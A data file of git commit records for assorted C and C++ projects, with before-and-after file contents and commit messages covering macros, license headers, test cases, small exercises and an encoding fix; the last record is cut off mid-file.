{"commit":"47cb8d841569225b3e8e33945313709f964bd932","old_file":"src\/drivers\/tty\/serial\/ttys_oldfs.h","new_file":"src\/drivers\/tty\/serial\/ttys_oldfs.h","old_contents":"\/**\n * @file\n *\n * @date 21.04.2016\n * @author Anton Bondarev\n *\/\n\n#ifndef TTYS_H_\n#define TTYS_H_\n\n#include <fs\/idesc.h>\n#include <drivers\/tty.h>\n\nstruct uart;\n\nstruct tty_uart {\n\tstruct idesc idesc;\n\tstruct tty tty;\n\tstruct uart *uart;\n};\n\n#endif \/* TTYS_H_ *\/\n","new_contents":"\/**\n * @file\n *\n * @date 21.04.2016\n * @author Anton Bondarev\n *\/\n\n#ifndef TTYS_H_\n#define TTYS_H_\n\n#include <fs\/idesc.h>\n#include <drivers\/tty.h>\n#include <drivers\/char_dev.h>\n\nstruct uart;\nstruct tty_uart {\n\tstruct idesc idesc;\n\tstruct tty tty;\n\tstruct uart *uart;\n};\n\nextern struct idesc *uart_cdev_open(struct dev_module *cdev, void *priv);\n\n#define TTYS_DEF(name, uart) \\\n\t\tCHAR_DEV_DEF(name, uart_cdev_open, NULL, NULL, uart)\n\n#endif \/* TTYS_H_ *\/\n","subject":"Add TTYS_DEF macro to oldfs","message":"drivers: Add TTYS_DEF macro to oldfs\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"da633160262800462ebda14807cffbb23fc68b29","old_file":"src\/condor_syscall_lib\/syscall_param_sizes.h","new_file":"src\/condor_syscall_lib\/syscall_param_sizes.h","old_contents":"#define STAT_SIZE sizeof(struct stat)\n#define STATFS_SIZE sizeof(struct statfs)\n#define GID_T_SIZE sizeof(gid_t)\n#define INT_SIZE sizeof(int)\n#define LONG_SIZE sizeof(long)\n#define FD_SET_SIZE sizeof(fd_set)\n#define TIMEVAL_SIZE sizeof(struct timeval)\n#define TIMEVAL_ARRAY_SIZE (sizeof(struct timeval) * 2)\n#define TIMEZONE_SIZE sizeof(struct timezone)\n#define FILEDES_SIZE sizeof(struct filedes)\n#define RLIMIT_SIZE sizeof(struct rlimit)\n#define UTSNAME_SIZE sizeof(struct utsname)\n#define POLLFD_SIZE sizeof(struct pollfd)\n#define RUSAGE_SIZE sizeof(struct rusage)\n#define MAX_STRING 1024\n#define EIGHT 8\n#define STATFS_ARRAY_SIZE (rval * sizeof(struct statfs))\n#define PROC_SIZE sizeof(PROC)\n","new_contents":"#define STAT_SIZE sizeof(struct stat)\n#define STATFS_SIZE sizeof(struct statfs)\n#define GID_T_SIZE sizeof(gid_t)\n#define INT_SIZE sizeof(int)\n#define LONG_SIZE sizeof(long)\n#define FD_SET_SIZE sizeof(fd_set)\n#define TIMEVAL_SIZE sizeof(struct timeval)\n#define TIMEVAL_ARRAY_SIZE (sizeof(struct timeval) * 2)\n#define TIMEZONE_SIZE sizeof(struct timezone)\n#define FILEDES_SIZE sizeof(struct filedes)\n#define RLIMIT_SIZE sizeof(struct rlimit)\n#define UTSNAME_SIZE sizeof(struct utsname)\n#define POLLFD_SIZE sizeof(struct pollfd)\n#define RUSAGE_SIZE sizeof(struct rusage)\n#define MAX_STRING 1024\n#define EIGHT 8\n#define STATFS_ARRAY_SIZE (rval * sizeof(struct statfs))\n#define PROC_SIZE sizeof(PROC)\n#define SIZE_T_SIZE sizeof(size_t)\n#define U_SHORT_SIZE sizeof(u_short)\n","subject":"Add macros for sized of \"size_t\" and \"u_short\".","message":"Add macros for sized of \"size_t\" and \"u_short\".\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor"}
{"commit":"c47c472d169e5dd2eeadfddb48ac71c114e29559","old_file":"src\/tuple.h","new_file":"src\/tuple.h","old_contents":"\/*\n * tuple.h - define data structure for tuples\n *\/\n#ifndef _TUPLE_H_\n#define _TUPLE_H_\n\n#define MAX_TUPLE_SIZE 4096\n\nunion Tuple {\n    unsigned char bytes[MAX_TUPLE_SIZE];\n    char *ptrs[MAX_TUPLE_SIZE\/sizeof(char *)];\n};\n\n#endif \/* _TUPLE_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * tuple.h - define data structure for tuples\n *\/\n#ifndef _TUPLE_H_\n#define _TUPLE_H_\n\n#define MAX_TUPLE_SIZE 4096\n\nunion Tuple {\n    unsigned char bytes[MAX_TUPLE_SIZE];\n    char *ptrs[MAX_TUPLE_SIZE\/sizeof(char *)];\n};\n\n#endif \/* _TUPLE_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"fergul\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache,jsventek\/Cache"}
{"commit":"9c77cb0b8980196d0207e7139788cbc99f73d663","old_file":"solutions\/uri\/1040\/1040.c","new_file":"solutions\/uri\/1040\/1040.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    float a, b, c, d, e, m;\n\n    scanf(\"%f %f %f %f\", &a, &b, &c, &d);\n\n    m = (a * 2 + b * 3 + c * 4 + d) \/ 10;\n\n    printf(\"Media: %.1f\\n\", m);\n\n    if (m >= 7.0) {\n        printf(\"Aluno aprovado.\\n\");\n    } else if (m >= 5.0) {\n        printf(\"Aluno em exame.\\n\");\n\n        scanf(\"%f\", &e);\n\n        printf(\"Nota do exame: %.1f\\n\", e);\n\n        if (e + m \/ 2.0 > 5.0) {\n            printf(\"Aluno aprovado.\\n\");\n        } else {\n            printf(\"Aluno reprovado.\\n\");\n        }\n\n        printf(\"Media final: %.1f\\n\", (e + m) \/ 2.0);\n    } else {\n        printf(\"Aluno reprovado.\\n\");\n    }\n\n    return 0;\n}\n","subject":"Solve Average 3 in c","message":"Solve Average 3 in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"849dcc2fd36ec01352a3544c501cbbe5afa78d95","old_file":"src\/empathy-accounts-module.c","new_file":"src\/empathy-accounts-module.c","old_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-\n *\n * Copyright (C) 2010 Red Hat, Inc.\n * Copyright (C) 2010 Collabora Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <config.h>\n\n#include <glib.h>\n#include <glib\/gi18n-lib.h>\n#include <gmodule.h>\n#include <gio\/gio.h>\n\n#include \"cc-empathy-accounts-panel.h\"\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n  textdomain (GETTEXT_PACKAGE);\n\n  cc_empathy_accounts_panel_register (module);\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n","new_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-\n *\n * Copyright (C) 2010 Red Hat, Inc.\n * Copyright (C) 2010 Collabora Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <config.h>\n\n#include <glib.h>\n#include <glib\/gi18n-lib.h>\n#include <gmodule.h>\n#include <gio\/gio.h>\n\n#include \"cc-empathy-accounts-panel.h\"\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n  cc_empathy_accounts_panel_register (module);\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n","subject":"Remove call to textdomain ()","message":"accounts-module: Remove call to textdomain ()\n\nThis shouldn't be called in shared module.\n\nFixes: https:\/\/bugzilla.gnome.org\/show_bug.cgi?id=617262\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/telepathy-account-widgets,Distrotech\/telepathy-account-widgets,Distrotech\/telepathy-account-widgets,GNOME\/telepathy-account-widgets,GNOME\/telepathy-account-widgets"}
{"commit":"5f4e7951645078f97d8d1acade32f911d51fbd14","old_file":"gvn-plugin\/single-block-test.c","new_file":"gvn-plugin\/single-block-test.c","old_contents":"","new_contents":"int main()\n{\n\tint b = 2, c = 3, d = 4;\n\tint a = b + c;\n\tb = a - d;\n\tint e = b + c;\n\tint f = a - d;\n\treturn 0;\n}\n","subject":"Add test case for single block","message":"Add test case for single block\n","lang":"C","license":"mit","repos":"k4rtik\/btp-gvn,k4rtik\/btp-gvn"}
{"commit":"26dd0bf3cf7d2550b292724e302cbda852586ef9","old_file":"tests\/regression\/36-apron\/58-queuesize-const.c","new_file":"tests\/regression\/36-apron\/58-queuesize-const.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.apron.domain octagon --enable ana.apron.threshold_widening\n\/\/ TODO: why needs threshold widening to succeed when queuesize doesn't?\n#include <pthread.h>\n#include <assert.h>\n\n#define CAPACITY 1000\n\nint used;\nint free;\npthread_mutex_t Q = PTHREAD_MUTEX_INITIALIZER;\n\nvoid pop() {\n  pthread_mutex_lock(&Q);\n  assert(free >= 0);\n  assert(free <= CAPACITY);\n  assert(used >= 0);\n  assert(used <= CAPACITY);\n  assert(used + free == CAPACITY);\n\n  if (used >= 1) {\n    used--;\n    free++;\n  }\n\n  assert(free >= 0);\n  assert(free <= CAPACITY);\n  assert(used >= 0);\n  assert(used <= CAPACITY);\n  assert(used + free == CAPACITY);\n  pthread_mutex_unlock(&Q);\n}\n\nvoid push() {\n  pthread_mutex_lock(&Q);\n  assert(free >= 0);\n  assert(free <= CAPACITY);\n  assert(used >= 0);\n  assert(used <= CAPACITY);\n  assert(used + free == CAPACITY);\n\n  if (free >= 1) {\n    free--;\n    used++;\n  }\n\n  assert(free >= 0);\n  assert(free <= CAPACITY);\n  assert(used >= 0);\n  assert(used <= CAPACITY);\n  assert(used + free == CAPACITY);\n  pthread_mutex_unlock(&Q);\n}\n\nvoid *worker(void *arg) {\n  while (1)\n    pop();\n  return NULL;\n}\n\nint main() {\n  free = CAPACITY;\n  used = 0;\n\n  assert(free >= 0);\n  assert(free <= CAPACITY);\n  assert(used >= 0);\n  assert(used <= CAPACITY);\n  assert(used + free == CAPACITY);\n\n  pthread_t worker1;\n  pthread_t worker2;\n  pthread_create(&worker1, NULL, worker, NULL);\n  pthread_create(&worker2, NULL, worker, NULL);\n\n  while (1)\n    push();\n\n  return 0;\n}\n","subject":"Add queuesize test with constant capacity","message":"Add queuesize test with constant capacity\n\nThis can be verified using octagon.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2f376c9b25a8654b508613ddd57851c015f14858","old_file":"hipify-clang\/src\/CUDA2HipMap.h","new_file":"hipify-clang\/src\/CUDA2HipMap.h","old_contents":"#pragma once\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include <set>\n#include <map>\n\n#include \"Types.h\"\n\n\/\/ TODO: This shouldn't really be here. More restructuring needed...\nstruct hipCounter {\n    llvm::StringRef hipName;\n    ConvTypes countType;\n    ApiTypes countApiType;\n    int unsupported;\n};\n\n#define HIP_UNSUPPORTED -1\n\n\/\/\/ Macros to ignore.\nextern const std::set<llvm::StringRef> CUDA_EXCLUDES;\n\n\/\/\/ Maps cuda header names to hip header names.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_INCLUDE_MAP;\n\n\/\/\/ Maps the names of CUDA types to the corresponding hip types.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_TYPE_NAME_MAP;\n\n\/\/\/ Map all other CUDA identifiers (function\/macro names, enum values) to hip versions.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_IDENTIFIER_MAP;\n\n\/**\n * The union of all the above maps.\n *\n * This should be used rarely, but is still needed to convert macro definitions (which can\n * contain any combination of the above things). AST walkers can usually get away with just\n * looking in the lookup table for the type of element they are processing, however, saving\n * a great deal of time.\n *\/\nconst std::map<llvm::StringRef, hipCounter>& CUDA_RENAMES_MAP();\n","new_contents":"#pragma once\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include <set>\n#include <map>\n\n#include \"Types.h\"\n\n\/\/ TODO: This shouldn't really be here. More restructuring needed...\nstruct hipCounter {\n    llvm::StringRef hipName;\n    ConvTypes countType;\n    ApiTypes countApiType;\n    bool unsupported;\n};\n\n#define HIP_UNSUPPORTED true\n\n\/\/\/ Macros to ignore.\nextern const std::set<llvm::StringRef> CUDA_EXCLUDES;\n\n\/\/\/ Maps cuda header names to hip header names.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_INCLUDE_MAP;\n\n\/\/\/ Maps the names of CUDA types to the corresponding hip types.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_TYPE_NAME_MAP;\n\n\/\/\/ Map all other CUDA identifiers (function\/macro names, enum values) to hip versions.\nextern const std::map<llvm::StringRef, hipCounter> CUDA_IDENTIFIER_MAP;\n\n\/**\n * The union of all the above maps.\n *\n * This should be used rarely, but is still needed to convert macro definitions (which can\n * contain any combination of the above things). AST walkers can usually get away with just\n * looking in the lookup table for the type of element they are processing, however, saving\n * a great deal of time.\n *\/\nconst std::map<llvm::StringRef, hipCounter>& CUDA_RENAMES_MAP();\n","subject":"Make `unsupported` actually be a bool...","message":"Make `unsupported` actually be a bool...\n","lang":"C","license":"mit","repos":"ROCm-Developer-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP"}
{"commit":"1ffa2c93463833e800dbac2a5fed09cabdb0da1c","old_file":"tools\/sleep.c","new_file":"tools\/sleep.c","old_contents":"\/\/ Title:  sleep\n\/\/ Name:   sleep.c\n\/\/ Author: Matayoshi\n\/\/ Date:   2010\/06\/20\n\/\/ Ver:    1.0.0\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\nint main(int argc, char* argv[]) {\n\t\/\/ `FbN\n\tif(argc < 2) {\n\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\texit(1);\n\t} else {\n\t\tchar buf[16];\n\t\tint wait = 0;\n\n\t\t\/\/ 񂩂琔lɕϊ\n\t\tsscanf(argv[1], \"%15c\", buf);\n\t\tif(sscanf(buf, \"%d\", &wait) != 1) {\n\t\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ Ŏw肳ꂽ msec  sleep(wait)\n\t\tSleep(wait);\n\t}\n\treturn 0;\n}\n","new_contents":"﻿\/\/ Title:  sleep\n\/\/ Name:   sleep.c\n\/\/ Author: Matayoshi\n\/\/ Date:   2010\/06\/20\n\/\/ Ver:    1.0.0\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n\nint main(int argc, char* argv[]) {\n\t\/\/ 引数チェック\n\tif(argc < 2) {\n\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\texit(1);\n\t} else {\n\t\tchar buf[16];\n\t\tint wait = 0;\n\n\t\t\/\/ 文字列から数値に変換\n\t\tsscanf(argv[1], \"%15c\", buf);\n\t\tif(sscanf(buf, \"%d\", &wait) != 1) {\n\t\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ 引数で指定された msec だけ sleep(wait)\n\t\tSleep(wait);\n\t}\n\treturn 0;\n}\n","subject":"Change character encoding.(Shift_JIS -> UTF-8)","message":"Change character encoding.(Shift_JIS -> UTF-8)\n","lang":"C","license":"bsd-2-clause","repos":"matayoshi\/tools"}
{"commit":"7334efa66bcbcd6bfd95cb9c4d3236a9a469daf1","old_file":"libutils\/include\/utils\/force.h","new_file":"libutils\/include\/utils\/force.h","old_contents":"\/*\n * Copyright 2016, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#pragma once\n\n\/* macros for forcing the compiler to leave in statments it would\n * normally optimize away *\/\n\n#include <utils\/attribute.h>\n#include <utils\/stringify.h>\n\n\/* Macro for doing dummy reads\n *\n * Expands to a volatile, unused variable which is set to the value at\n * a given address. It's volatile to prevent the compiler optimizing\n * away a variable that is written but never read, and it's unused to\n * prevent warnings about a variable that's never read.\n *\/\n#define FORCE_READ(address) \\\n        volatile UNUSED typeof(*address) JOIN(__force__read, __COUNTER__) = *(address)\n","new_contents":"\/*\n * Copyright 2016, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#pragma once\n\n\/* macros for forcing the compiler to leave in statments it would\n * normally optimize away *\/\n\n#include <utils\/attribute.h>\n#include <utils\/stringify.h>\n\n\/* Macro for doing dummy reads\n *\n * Forces a memory read access to the given address.\n *\/\n#define FORCE_READ(address) \\\n    do { \\\n        typeof(*(address)) *_ptr = (address); \\\n        asm volatile (\"\" : \"=m\"(*_ptr) : \"r\"(*_ptr)); \\\n    } while (0)\n","subject":"Rephrase FORCE_READ into something safer.","message":"libutils: Rephrase FORCE_READ into something safer.\n\nThis commit rephrases the `FORCE_READ` macro to avoid an unorthodox use of\n`volatile`. The change makes the read less malleable from the compiler's point\nof view.\n\nIt also has the unintended side effect of slightly optimising this operation. On\nx86, an optimising compiler now generates a single load, rather than a load\nfollowed by a store to the (unused) local variable. On ARM, there is a similar\nimprovement, but we also save two instructions for stack pointer manipulation\ndepending on the context in which the macro is expanded.\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"}
{"commit":"90d4efa6094d0af71afbede10293b30e065e27bf","old_file":"test\/PCH\/changed-files.c","new_file":"test\/PCH\/changed-files.c","old_contents":"const char *s0 = m0;\nint s1 = m1;\nconst char *s2 = m0;\n\n\/\/ FIXME: This test fails inexplicably on Windows in a manner that makes it \n\/\/ look like standard error isn't getting flushed properly.\n\n\/\/ RUN: true\n\/\/ RUNx: echo '#define m0 \"\"' > %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n\n\/\/ RUNx: echo '#define m0 000' > %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n\n\/\/ RUNx: echo '#define m0 000' > %t.h\n\/\/ RUNx: echo \"#define m1 'abcd'\" >> %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n","new_contents":"const char *s0 = m0;\nint s1 = m1;\nconst char *s2 = m0;\n\n\/\/ FIXME: This test fails inexplicably on Windows in a manner that makes it \n\/\/ look like standard error isn't getting flushed properly.\n\n\/\/ RUN: false\n\/\/ XFAIL: *\n\n\/\/ RUN: echo '#define m0 \"\"' > %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n\n\/\/ RUN: echo '#define m0 000' > %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n\n\/\/ RUN: echo '#define m0 000' > %t.h\n\/\/ RUN: echo \"#define m1 'abcd'\" >> %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n","subject":"Use Daniel's trick for XFAIL'd tests","message":"Use Daniel's trick for XFAIL'd tests\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@99515 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"9b50cff3beb46f8c14c045f71551e5be5bc4d287","old_file":"linkedLists\/intersectY.c","new_file":"linkedLists\/intersectY.c","old_contents":"","new_contents":"#include \"listHelper.h\"\n\nint intersectNode(struct linkList *l1,  struct linkList *l2, int m, int n) {\n\n\t\/*     l1\n\t\t\\    l2\n\t\t \\  \/\n\t\t  \\\/\n\t\t   |\n\t\t   |\n\tl1 is list1 with length m\n\tl2 is list2 with length n\n\there, m is 5 and n is 4\n\tso diff = abs(m-n) = 1\n\twe need to hop 1 step on l1 to reach l2's length.\n\tfrom here on, we loop till end of list and verify id l1 == l2\n\tif l1 == l2 somewhere, we have a Y list\n\t*\/\n\n\tint diff = abs (m -n );\n\tif ( m > n) {\n\t\twhile ( diff ) {\n\t\t\tdiff--;\n\t\t\tl1 = l1->next;\n\t\t}\n\t}\n\tif ( n > m ) {\n\t\twhile ( diff ) {\n\t\t\tdiff--;\n\t\t\tl2 = l2->next;\n\t\t}\n\t}\n\n\twhile (l1 != NULL || l2 != NULL ) {\n\t\tif ( l1 == l2) \n\t\t\treturn l1->data;\n\t\telse {\n\t\t\tl1 = l1->next;\n\t\t\tl2 = l2->next;\n\t\t}\n\t}\n}\n\nvoid\nmain() {\n\n        int dat;\n        struct linkList *list1 = NULL, *list2 = NULL;\n\n        InsertLinkedList(&list1, 21, 1);         \/*Insert node in Beginning *\/\n        InsertLinkedList(&list1, 31, 2);         \/*Insert at position 2 *\/\n        InsertLinkedList(&list1, 41, 3);\n        InsertLinkedList(&list1, 51, 4);\n        InsertLinkedList(&list1, 61, 5);\n        InsertLinkedList(&list1, 72, 6);\n        InsertLinkedList(&list1, 87, 7);\n\n        InsertLinkedList(&list2, 91, 1);\n        InsertLinkedList(&list2, 92, 2);\n        InsertLinkedList(&list2, 93, 3);\n        InsertLinkedList(&list2, 94, 4);\n        displayList(list1);\n        displayList(list2);\n\n\t\/* build a Y list *\/\n\tlist2->next->next->next->next = list1->next->next->next;\n        displayList(list1);\n        displayList(list2);\n\n\tprintf ( \"Intersecting node is %d\\n\", intersectNode(list1, list2, 7, 8));\n}\n","subject":"Verify if two lists intersect at Y point.","message":"Verify if two lists intersect at Y point.","lang":"C","license":"mit","repos":"vidya-ranganathan\/algorithms"}
{"commit":"94a4b6a3f8de8f9dcd11e3fecacb3444785e6087","old_file":"src\/Draupnir.h","new_file":"src\/Draupnir.h","old_contents":"#ifndef DRAUPNIR_H__\n#define DRAUPNIR_H__\n\n#include <cstdint>\n\n#include \"Sponge.h\"\n#include \"CrcSponge.h\"\n#include \"CrcSpongeBuilder.h\"\n#include \"Constants.h\"\n\nnamespace Draupnir {\n\n  \/\/ utility typedefs\n  typedef CrcSponge<std::uint64_t> CrcSponge64;\n  typedef CrcSponge<std::uint32_t> CrcSponge32;\n  typedef CrcSponge<std::uint16_t> CrcSponge16;\n  typedef CrcSponge<std::uint8_t> CrcSponge8;\n\n  typedef CrcSpongeBuilder<std::uint64_t> CrcSponge64Builder;\n  typedef CrcSpongeBuilder<std::uint32_t> CrcSponge32Builder;\n  typedef CrcSpongeBuilder<std::uint16_t> CrcSponge16Builder;\n  typedef CrcSpongeBuilder<std::uint8_t> CrcSponge8Builder;\n\n}\n\n#endif \/* DRAUPNIR_H__ *\/\n\n","new_contents":"#ifndef DRAUPNIR_H__\n#define DRAUPNIR_H__\n\n#include <cstdint>\n\n#include \"Sponge.h\"\n#include \"CrcSponge.h\"\n#include \"CrcSpongeBuilder.h\"\n#include \"Constants.h\"\n\nnamespace Draupnir {\n\n  \/\/ utility typedefs\n  using CrcSponge64 = CrcSponge<std::uint64_t>;\n  using CrcSponge32 = CrcSponge<std::uint32_t>;\n  using CrcSponge16 = CrcSponge<std::uint16_t>;\n  using CrcSponge8  = CrcSponge<std::uint8_t >;\n\n  using CrcSponge64Builder = CrcSpongeBuilder<std::uint64_t>;\n  using CrcSponge32Builder = CrcSpongeBuilder<std::uint32_t>;\n  using CrcSponge16Builder = CrcSpongeBuilder<std::uint16_t>;\n  using CrcSponge8Builder  = 